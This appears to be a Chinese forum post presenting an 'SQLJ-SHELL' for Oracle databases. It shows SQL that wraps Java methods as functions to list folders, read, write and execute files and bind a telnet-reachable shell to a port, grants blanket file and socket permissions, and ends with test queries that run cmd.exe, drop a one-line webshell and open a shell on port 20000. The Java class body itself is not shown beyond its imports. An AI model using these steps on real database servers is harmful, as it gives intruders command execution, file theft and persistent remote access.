首先在ORACLE数据库建立JAVA对象, 这个版本的SQLJ-SHELL 只能支持正向连接,反向连接的时候有BUG 不建议使用,不知道是ORA支持JAVA的问题还是个人能力有限…要是有更好的方法可以方便交流QQ:282720807

create or replace and compile java source named isto as
import java.io.*;
import java.net.*;

以上建立完成之后 需要用ORACLE的函数调用JAVA的静态方法

–列举目录函数
create or replace function ISTO_LISTFOLDER(str varchar2) return varchar2
as language java name 'ISTO.listFolder(java.lang.String) return java.lang.String';
–保存文件函数
create or replace function ISTO_SAVEFILE(p varchar2,v varchar2) return varchar2
as language java name 'ISTO.saveFile(java.lang.String,java.lang.String) return java.lang.String';
–读文件函数
create or replace function ISTO_READFILE(p varchar2,c varchar2) return varchar2
as language java name 'ISTO.readFile(java.lang.String,java.lang.String) return java.lang.String';
–运行文件函数
create or replace function ISTO_EXECFILE(fp varchar2,c varchar2) return varchar2
as language java name 'ISTO.execFile(java.lang.String,java.lang.String) return java.lang.String';
–端口绑定 你可以telnet进去
create or replace function ISTO_BINDSHELL(port number) return varchar2
as language java name 'ISTO.bindShell(int) return java.lang.String';

以上函数转换操作之后 需要给JAVA授予访问权限

begin
Dbms_Java.Grant_Permission('用户名字','java.io.FilePermission','<<ALL FILES>>','read,write,execute,delete');
Dbms_Java.Grant_Permission('用户名字','java.lang.RuntimePermission','*','writeFileDescriptor');
Dbms_Java.grant_permission('用户名字','java.net.SocketPermission','*:*','accept,connect,listen,resolve');
end;

然后就可以进行文件操作以及 运行程序 开启网络！

以下为测试代码

SELECT ISTO_LISTFOLDER('/usr') FROM DUAL
SELECT ISTO_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL;
SELECT ISTO_READFILE('/tmp/1.txt','GBK') FROM DUAL;
SELECT ISTO_SAVEFILE('/tmp/1.txt','一句话shell') FROM DUAL;
SELECT ISTO_BINDSHELL(20000) FROM DUAL
